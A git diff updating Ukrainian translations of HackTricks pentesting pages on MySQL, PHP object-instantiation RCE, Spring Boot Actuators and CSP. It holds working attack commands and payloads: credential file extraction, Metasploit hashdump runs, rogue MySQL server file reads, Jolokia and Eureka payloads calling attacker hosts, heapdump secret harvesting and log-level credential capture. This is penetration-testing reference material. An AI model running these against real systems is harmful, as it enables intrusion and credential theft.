Якщо класичний ланцюжок UDF очікує директорію `plugin`, але її не існує, а `@@plugin_dir` невідомий або заблокований, ви можете створити її спочатку за допомогою `::$INDEX_ALLOCATION`: +На NTFS ви можете змусити створення директорії, використовуючи alternate data stream, навіть коли є лише примітив запису файлу. Якщо класичний UDF-ланцюг очікує директорію `plugin`, але вона не існує, а `@@plugin_dir` невідомий або заблокований, ви можете спочатку створити її за допомогою `::$INDEX_ALLOCATION`: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -Це перетворює обмежений `SELECT ... INTO OUTFILE` на більш повний примітив у Windows-стеках, створюючи необхідну структуру папок для UDF drops. +Це перетворює обмежений `SELECT ... INTO OUTFILE` на більш повноцінний примітив у Windows-стеках, створюючи необхідну структуру папок для UDF drops. ### Отримання облікових даних MySQL з файлів -У файлі _/etc/mysql/debian.cnf_ можна знайти **пароль у відкритому тексті** користувача **debian-sys-maint** +Всередині _/etc/mysql/debian.cnf_ можна знайти **пароль у відкритому тексті** користувача **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -Ви можете **використати ці облікові дані для входу в базу даних mysql**. +Ви можете **використати ці облікові дані, щоб увійти в mysql базу даних**. Всередині файлу: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які можна витягти з mysql.user всередині бази даних)_._ -Ви можете витягти їх, виконавши: +Ви можете витягнути їх, виконавши: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Увімкнення логування -Ви можете увімкнути логування запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши такі рядки: +Ви можете увімкнути логування запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши наступні рядки: ![](<../images/image (899).png>) ### Корисні файли -Configuration Files +Файли конфігурації - windows \* - config.ini @@ -295,9 +298,9 @@ Configuration Files - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Command History +- Історія команд - \~/.mysql.history -- Log Files +- Файли логів - connections.log - update.log - common.log @@ -622,7 +625,7 @@ x$waits_global_by_latency {{#endtab}} {{#endtabs}} -## HackTricks Автоматичні команди +## Автоматичні команди HackTricks ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. @@ -653,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Highlights (new) +## 2023-2025 Основні моменти (нове) -### JDBC `propertiesTransform` десеріалізація (CVE-2023-21971) -У Connector/J <= 8.0.32 зловмисник, який може вплинути на **JDBC URL** (наприклад у сторонньому програмному забезпеченні, що запитує рядок підключення), може вимагати завантаження довільних класів на стороні *клієнта* через параметр `propertiesTransform`. Якщо в class-path присутній придатний gadget і його можна завантажити, це призводить до **remote code execution in the context of the JDBC client** (pre-auth, оскільки не потрібні дійсні облікові дані). Мінімальний PoC виглядає так: +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +З Connector/J <= 8.0.32 атакуючий, який може впливати на **JDBC URL** (наприклад у сторонньому ПЗ, яке запитує рядок підключення), може вимагати завантаження довільних класів на сторону *клієнта* через параметр `propertiesTransform`. Якщо на class-path присутній завантажуваний gadget, це призводить до **remote code execution у контексті JDBC client** (pre-auth, оскільки не потрібні дійсні облікові дані). Мінімальний PoC виглядає так: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Запуск `Evil.class` може бути таким же простим, як розмістити його в class-path вразливої програми або дозволити зловмисному MySQL серверу надіслати шкідливий серіалізований об'єкт. Проблему виправлено в Connector/J 8.0.33 – оновіть драйвер або явно встановіть `propertiesTransform` у allow-list. -(Деталі див. у write-up Snyk) +Запуск `Evil.class` може бути настільки простим, як розміщення його в class-path вразливої програми або дозволити rogue MySQL server надіслати шкідливий серіалізований об'єкт. Проблему виправлено в Connector/J 8.0.33 — оновіть драйвер або явно встановіть `propertiesTransform` в allow-list. +(Див. Snyk write-up для деталей) -### Rogue / Fake MySQL server атаки проти JDBC клієнтів -Кілька open-source інструментів реалізують *частковий* протокол MySQL, щоб атакувати JDBC клієнтів, які підключаються назовні: +### Атаки Rogue / Fake MySQL server проти JDBC клієнтів +Кілька open-source інструментів реалізують *частковий* протокол MySQL з метою атакувати JDBC клієнтів, які встановлюють зовнішні з'єднання: -* **mysql-fake-server** (Java, підтримує читання файлів та експлойти з десеріалізацією) +* **mysql-fake-server** (Java, підтримує читання файлів та експлойти десеріалізації) * **rogue_mysql_server** (Python, схожі можливості) Типові шляхи атаки: -1. Додаток-жертва завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`. -2. Атакуючий контролює DNS / запис хоста, так що ім'я хоста БД розв'язується на машину під їхнім контролем. +1. Вразлива програма завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`. +2. Атакуючий контролює DNS / запис хосту, щоб hostname БД вказував на машину під його контролем. 3. Зловмисний сервер відповідає сформованими пакетами, які викликають або `LOCAL INFILE` для довільного читання файлів, або Java десеріалізацію → RCE. -Example one-liner to start a fake server (Java): +Приклад однорядкової команди для запуску fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Потім направте додаток-жертву на `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у полі *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Потім вкажіть цільовий додаток на `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у *username* полі (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (mode **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують offline cracking з 2023 року. Здампте колонку `authentication_string` і передайте її безпосередньо: +MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (mode **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують offline cracking з 2023 року. Злийте колонку `authentication_string` і передайте її напряму: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -691,11 +694,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Контрольний список зміцнення безпеки (2025) -• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** to kill most file-read/write primitives. +### Чекліст жорсткого захисту (2025) +• Встановіть **`LOCAL_INFILE=0`** та **`--secure-file-priv=/var/empty`**, щоб вимкнути більшість примітивів читання/запису файлів. • Видаліть привілей **`FILE`** з облікових записів додатків. -• У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty). -• Вимкніть невикористовувані плагіни автентифікації і вимагайте TLS (`require_secure_transport = ON`). +• У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (порожнє). +• Вимкніть невикористовувані плагіни автентифікації та **require TLS** (`require_secure_transport = ON`). • Слідкуйте за `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` та раптовими `SET GLOBAL` запитами. --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index f5e43da8c..b2b4188f7 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -Це, по суті, підсумок [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Вступ -Створення нових довільних об'єктів, таких як `new $_GET["a"]($_GET["a"])`, може призвести до Remote Code Execution (RCE), як детально описано в [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Цей документ висвітлює різні стратегії досягнення RCE. +Створення нових довільних об'єктів, таких як `new $_GET["a"]($_GET["a"])`, може призвести до Remote Code Execution (RCE), як детально описано в [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Цей документ висвітлює різні стратегії для досягнення RCE. ## RCE через користувацькі класи або автозавантаження -Синтаксис `new $a($b)` використовується для інстанціювання об'єкта, де **`$a`** представляє ім'я класу, а **`$b`** — перший аргумент, переданий конструктору. Ці змінні можуть надходити з введення користувача, наприклад GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть мати інші типи. +Синтаксис `new $a($b)` використовується для створення екземпляра класу, де **`$a`** позначає ім'я класу, а **`$b`** — перший аргумент, переданий конструктору. Ці змінні можуть походити з вхідних даних користувача, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де можуть мати інші типи. -Розглянемо фрагмент коду нижче: +Розглянемо приклад коду нижче: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -У цьому випадку встановлення `$a` в `App` або `App2`, а `$b` — у системну команду (наприклад, `uname -a`) призводить до виконання цієї команди. +У цьому випадку встановлення `$a` як `App` або `App2` і `$b` як системної команди (наприклад, `uname -a`) призводить до виконання цієї команди. -**Функції автозавантаження** можуть бути використані, якщо такі класи безпосередньо недоступні. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою `spl_autoload_register` або `__autoload`: +**Функції автозавантаження** можна використати, якщо такі класи безпосередньо недоступні. Ці функції автоматично підвантажують класи з файлів за потреби і визначаються за допомогою `spl_autoload_register` або `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,27 +45,27 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Поведінка автозавантаження змінюється залежно від версії PHP, що дає різні можливості для RCE. +Поведінка автозавантаження змінюється залежно від версій PHP, що відкриває різні можливості RCE. -## RCE через вбудовані класи PHP +## RCE через вбудовані класи -Якщо відсутні кастомні класи або автозавантажувачі, **вбудованих класів PHP** може бути достатньо для RCE. Кількість таких класів коливається від 100 до 200, залежно від версії PHP та встановлених розширень. Їх можна перелічити за допомогою `get_declared_classes()`. +За відсутності кастомних класів або автозавантажувачів, **вбудованих класів PHP** може вистачити для RCE. Кількість таких класів коливається від 100 до 200 залежно від версії PHP та розширень. Їх можна перелічити за допомогою `get_declared_classes()`. -Конструктори, які становлять інтерес, можна визначити через Reflection API, як показано в наведеному прикладі та за посиланням [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Конструктори, що представляють інтерес, можна визначити через reflection API, як показано в наведеному прикладі та за посиланням [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE via specific methods includes:** +**RCE через конкретні методи включає:** ### **SSRF + Phar Deserialization** -Клас `SplFileObject` дозволяє SSRF через свій конструктор, дозволяючи підключатися до будь-якого URL: +Клас `SplFileObject` дозволяє SSRF через свій конструктор, даючи змогу підключатися до будь-якого URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF може призвести до атак десеріалізації в версіях PHP до 8.0 з використанням протоколу Phar. +SSRF може призвести до атак десеріалізації у версіях PHP до 8.0, використовуючи протокол Phar. -### **Exploiting PDOs** +### **Експлуатація PDOs** -Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, потенційно дозволяючи створення файлів або інші взаємодії: +Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, що потенційно дозволяє створення файлів або інші взаємодії: ```php new PDO("sqlite:/tmp/test.txt") ``` @@ -73,48 +73,48 @@ new PDO("sqlite:/tmp/test.txt") Версії PHP до 5.3.22 та 5.4.12 були вразливі до XXE-атак через конструктори `SoapClient` та `SimpleXMLElement`, залежно від версії libxml2. -## RCE via Imagick Extension +## RCE через розширення Imagick -Під час аналізу залежностей проєкту було виявлено, що `Imagick` можна використати для виконання команд шляхом створення нових об'єктів. Це створює можливість експлуатації вразливостей. +Під час аналізу **залежностей проєкту** було виявлено, що **Imagick** можна використати для **виконання команд** шляхом створення нових об’єктів. Це дає можливість експлуатації вразливостей. -### VID parser +### VID парсер -Виявлено, що VID parser може записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення `PHP shell` у веб-доступній директорії й досягнення Remote Code Execution (RCE). +Виявлено здатність VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у веб-доступній директорії та досягнення Remote Code Execution (RCE). #### VID Parser + File Upload -Зауважимо, що PHP тимчасово зберігає завантажені файли у `/tmp/phpXXXXXX`. VID parser в `Imagick`, використовуючи протокол `msl`, може обробляти wildcard'и у шляхах до файлів, що дозволяє перемістити тимчасовий файл у вибране місце. Цей метод дає додатковий шлях для довільного запису файлів у файлову систему. +Зауважено, що PHP тимчасово зберігає завантажені файли в `/tmp/phpXXXXXX`. VID парсер в Imagick, використовуючи протокол **msl**, може обробляти wildcards у шляхах файлів, що полегшує переміщення тимчасового файлу у вибране місце. Цей метод дає додатковий підхід для довільного запису файлів у файлову систему. ### PHP Crash + Brute Force -Метод, описаний у [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), пов'язаний із завантаженням файлів, які викликають крах сервера до їх видалення. Брутфорсом імені тимчасового файлу `Imagick` стає можливим виконати довільний PHP-код. Однак цей підхід виявився ефективним лише в застарілій версії `ImageMagick`. +Метод, описаний у [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), полягає у завантаженні файлів, які спричиняють падіння сервера до видалення. Шляхом брутфорсу імені тимчасового файлу Imagick може виконати довільний PHP код. Проте ця техніка виявилася ефективною лише в застарілій версії ImageMagick. ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -Коли ім'я класу контролюється введенням користувача (наприклад, `new $_GET['model']()`), у PHP 7.0.0 під час рефакторингу `Throwable` з'явився тимчасовий баг, коли рушій помилково трактував ім'я класу як printf format string під час резолюції. Це дозволяє класичні printf-style примітиви всередині PHP: leaks з `%p`, контроль кількості записів через width specifiers, та довільні записи з `%n` по in-process вказівниках (наприклад, GOT entries у ELF-білдах). +Коли ім’я класу контролює введення користувача (наприклад, `new $_GET['model']()`), у PHP 7.0.0 під час рефакторингу `Throwable` виникла тимчасова помилка, коли движок помилково обробляв ім’я класу як форматний рядок printf під час його вирішення. Це дозволяє класичні printf-подібні примітиви всередині PHP: leaks with `%p`, контроль кількості записів через специфікатори ширини, та довільні записи з `%n` проти вказівників в процесі (наприклад, GOT-енетрі в ELF-збірках). -Мінімальний патерн відтворення вразливості: +Мінімальний приклад вразливого шаблону: ```php d%$n`, щоб здійснити часткове перезаписування. +- Працює тільки на PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); виправлено в наступних релізах. Рівень серйозності: критичний, якщо існує можливість довільної інстанціації класів. +- Типові payloads ланцюжать багато `%p`, щоб пройти стек, потім `%.d%$n` для часткового перезапису. -## Посилання +## Джерела -- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ -- The Art of PHP: CTF‑born exploits and techniques (https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index a4086a0ec..6c0a15f4f 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,29 +6,29 @@
-**Джерело** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Exploiting Spring Boot Actuators -**Перегляньте оригінальний допис за** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Перевірте оригінальний пост за** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Ключові моменти:** -- Spring Boot Actuators реєструють endpoints, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях 1 до 1.4 ці endpoints доступні без автентифікації. З версії 1.5 за замовчуванням не чутливими залишаються лише `/health` та `/info`, але розробники часто вимикають цей захист. +- Spring Boot Actuators реєструють endpoints такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях 1–1.4 ці endpoints доступні без аутентифікації. Починаючи з версії 1.5, за замовчуванням лише `/health` і `/info` не вважаються чутливими, але розробники часто вимикають цей захист. - Деякі Actuator endpoints можуть розкривати чутливі дані або дозволяти шкідливі дії: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, та `/heapdump`. -- У Spring Boot 1.x actuators реєструються під кореневим URL, тоді як у 2.x вони розміщуються під базовим шляхом `/actuator/`. +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. +- У Spring Boot 1.x actuators реєструються під кореневим URL, тоді як у 2.x вони знаходяться під базовим шляхом `/actuator/`. -### **Exploitation Techniques:** +### **Техніки експлуатації:** 1. **Remote Code Execution via '/jolokia'**: -- Еndpoint `/jolokia` відкриває Jolokia Library, яка дозволяє доступ до MBeans через HTTP. -- Дію `reloadByURL` можна експлуатувати для перезавантаження конфігурацій логування з зовнішнього URL, що може призвести до blind XXE або Remote Code Execution через спеціально сформований XML. +- Endpoint `/jolokia` exposes the Jolokia Library, which allows HTTP access to MBeans. +- Дія `reloadByURL` може бути експлуатована для перезавантаження конфігурацій логування з зовнішнього URL, що може призвести до blind XXE або Remote Code Execution через спеціально сформовані XML-конфігурації. - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- Якщо присутні Spring Cloud Libraries, endpoint `/env` дозволяє змінювати параметри оточення. -- Властивості можна маніпулювати для експлуатації вразливостей, наприклад вразливості десеріалізації XStream у Eureka serviceURL. +- Якщо присутні Spring Cloud Libraries, endpoint `/env` дозволяє змінювати environmental properties. +- Властивості можна маніпулювати для експлуатації вразливостей, наприклад XStream десеріалізаційної вразливості в Eureka serviceURL. - Example exploit POST request: ``` @@ -41,31 +41,31 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Other Useful Settings**: -- Властивості на кшталт `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, та `spring.datasource.tomcat.max-active` можна змінювати для різних експлойтів, наприклад SQL injection або зміни рядків підключення до БД. +- Властивості на кшталт `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, та `spring.datasource.tomcat.max-active` можна змінювати для різних експлойтів, таких як SQL injection або зміна рядків підключення до БД. ### **Додаткова інформація:** -- Повний список дефолтних actuators можна знайти [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Endpoint `/env` в Spring Boot 2.x використовує JSON-формат для зміни властивостей, але загальна концепція лишається тією ж. +- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Endpoint `/env` у Spring Boot 2.x використовує JSON формат для модифікації властивостей, але загальна концепція залишається тією самою. ### **Пов'язані теми:** 1. **Env + H2 RCE**: -- Деталі щодо експлуатації поєднання `/env` та H2 можна знайти [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Деталі щодо експлуатації поєднання endpoint `/env` та H2 database можна знайти [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Обробка Spring framework matrix parameters (`;`) у HTTP-шляхах може бути використана для Server-Side Request Forgery (SSRF). +- Обробка Spring framework матричних параметрів (`;`) у HTTP-шляхах може бути використана для Server-Side Request Forgery (SSRF). - Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -## HeapDump — пошук секретів (credentials, tokens, internal URLs) +## HeapDump добування секретів (облікові дані, токени, внутрішні URL) -Якщо `/actuator/heapdump` доступний, зазвичай можна отримати повний знімок JVM heap, який часто містить живі секрети (облікові дані БД, API-ключі, Basic-Auth, внутрішні URL сервісів, мапи властивостей Spring тощо). +Якщо `/actuator/heapdump` відкритий, зазвичай можна отримати повний JVM heap snapshot, який часто містить live-секрети (DB креденшіали, API-ключі, Basic-Auth, внутрішні service URL, Spring property maps тощо). -- Завантаження та швидка первинна перевірка: +- Завантаження та швидкий аналіз: ```bash wget http://target/actuator/heapdump -O heapdump # Quick wins: look for HTTP auth and JDBC @@ -74,33 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` -- Глибший аналіз за допомогою VisualVM та OQL: -- Відкрийте heapdump у VisualVM, перевірте екземпляри `java.lang.String` або запустіть OQL для пошуку секретів: +- Глибший аналіз за допомогою VisualVM і OQL: +- Відкрийте heapdump у VisualVM, переглядайте екземпляри `java.lang.String` або виконуйте OQL для пошуку секретів: ``` select s.toString() from java.lang.String s where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) ``` -- Автоматизований витяг за допомогою JDumpSpider: +- Автоматичне витягування з JDumpSpider: ```bash java -jar JDumpSpider-*.jar heapdump ``` -Типові знахідки високої цінності: -- Об’єкти Spring `DataSourceProperties` / `HikariDataSource`, що містять `url`, `username`, `password`. -- `OriginTrackedMapPropertySource` записи, що виявляють `management.endpoints.web.exposure.include`, порти сервісів і вбудований Basic-Auth у URL (наприклад Eureka `defaultZone`). -- Фрагменти HTTP запитів/відповідей у явному вигляді, що містять `Authorization: Basic ...`, захоплені в пам'яті. +Типові цінні знахідки: +- Spring `DataSourceProperties` / `HikariDataSource` об'єкти, які містять `url`, `username`, `password`. +- `OriginTrackedMapPropertySource` записи, що розкривають `management.endpoints.web.exposure.include`, порти сервісів та вбудований Basic-Auth у URL (наприклад, Eureka `defaultZone`). +- Фрагменти plain HTTP запитів/відповідей, включно з `Authorization: Basic ...`, що зберігаються в пам'яті. Поради: -- Використовуйте спрямований на Spring словник для швидкого виявлення actuator endpoint-ів (наприклад, SecLists spring-boot.txt) і завжди перевіряйте, чи також доступні `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` та `/actuator/configprops`. -- Облікові дані з heapdump часто працюють для суміжних сервісів і іноді для системних користувачів (SSH), тому перевіряйте їх широко. +- Використовуйте Spring-focused wordlist для швидкого виявлення actuator endpoint'ів (наприклад, SecLists spring-boot.txt) і завжди перевіряйте, чи також доступні `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` та `/actuator/configprops`. +- Облікові дані з heapdump часто працюють для суміжних сервісів і інколи для системних користувачів (SSH), тому пробуйте їх широкомасштабно. -## Abusing Actuator loggers/logging to capture credentials +## Зловживання Actuator loggers/logging для перехоплення облікових даних -Якщо `management.endpoints.web.exposure.include` дозволяє і `/actuator/loggers` доступний, ви можете динамічно підвищити рівні логування до DEBUG/TRACE для пакетів, що обробляють аутентифікацію та обробку запитів. У поєднанні з доступними логами (через `/actuator/logfile` або відомі шляхи логів) це може lead to leak credentials, що відправляються під час логін-флоу (наприклад, Basic-Auth заголовки або параметри форм). +Якщо `management.endpoints.web.exposure.include` дозволяє це і `/actuator/loggers` відкритий, ви можете динамічно підвищити рівні логування до DEBUG/TRACE для пакетів, що обробляють аутентифікацію і обробку запитів. У поєднанні з доступними логами (через `/actuator/logfile` або відомі шляхи логів) це може leak облікові дані, надіслані під час логін-потоків (наприклад, Basic-Auth заголовки або параметри форми). -- Перелічіть і підвищіть чутливі логери: +- Перелічіть і підвищіть чутливі логгери: ```bash # List available loggers curl -s http://target/actuator/loggers | jq . @@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' ``` -- Знайдіть, куди пишуться логи, і зберіть їх: +- Знайдіть, куди записуються логи, і витягніть їх: ```bash # If exposed, read from Actuator directly curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' @@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Ініціюйте трафік логіну/автентифікації і проаналізуйте лог на наявність creds. У мікросервісних архітектурах з gateway перед аутентифікацією увімкнення TRACE для gateway/security пакетів часто робить видимими заголовки та тіла форм. Деякі середовища навіть періодично генерують синтетичний логін-трафік, що робить збір триальних простим, коли логування детальне. +- Викличте трафік логіну/аутентифікації і проаналізуйте логи на наявність облікових даних. У мікросервісних налаштуваннях з gateway перед auth, увімкнення TRACE для пакетів gateway/security часто робить видимими заголовки і тіла форм. Деякі середовища навіть генерують синтетичний логін-трафік періодично, що робить збір тривіальним після підвищення verbosity логів. -Примітки: -- Поверніть рівні логування назад після завершення: `POST /actuator/loggers/` з тілом `{ "configuredLevel": null }`. -- Якщо `/actuator/httpexchanges` доступний, він також може показувати метадані недавніх запитів, які можуть містити чутливі заголовки. +Нотатки: +- Поверніть рівні логів після завершення: `POST /actuator/loggers/` з `{ "configuredLevel": null }`. +- Якщо `/actuator/httpexchanges` відкритий, він також може показувати недавні метадані запитів, які можуть включати чутливі заголовки. -## Джерела +## References - [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) - [VisualVM](https://visualvm.github.io/) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 3beb33965..da663f540 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,28 +4,28 @@ ## Що таке CSP -Content Security Policy (CSP) визнається браузерною технологією, яка в першу чергу спрямована на **захист від атак, таких як cross-site scripting (XSS)**. Вона функціонує шляхом визначення і опису шляхів та джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різноманітні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження та виконання ресурсів з того ж домену (self), включно з inline-ресурсами та виконанням рядкового коду через функції на кшталт `eval`, `setTimeout` або `setInterval`. +Content Security Policy (CSP) вважається технологією браузера, яка насамперед спрямована на **захист від атак, таких як cross-site scripting (XSS)**. Вона працює шляхом визначення й деталізації шляхів і джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження й виконання ресурсів із того ж домену (self), включно з inline-ресурсами та виконанням коду-рядка через функції на кшталт `eval`, `setTimeout` або `setInterval`. -Реалізація CSP здійснюється через **заголовки відповіді** або шляхом включення **meta-елементів у HTML-сторінку**. Дотримуючись цієї політики, браузери активно застосовують її вимоги та негайно блокують будь-які виявлені порушення. +Впровадження CSP здійснюється через **заголовки відповіді** або шляхом додавання **meta-елементів у HTML-сторінку**. Відповідно до цієї політики браузери активно застосовують ці вимоги й одразу блокують будь-які виявлені порушення. -- Реалізовано через заголовок відповіді: +- Реалізується через заголовок відповіді: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Реалізовано через мета-тег: +- Реалізовано через meta-тег: ```xml ``` ### Заголовки -CSP можна застосовувати або відстежувати за допомогою цих заголовків: +CSP можна застосовувати або моніторити за допомогою цих заголовків: - `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення. -- `Content-Security-Policy-Report-Only`: Використовується для відстеження; 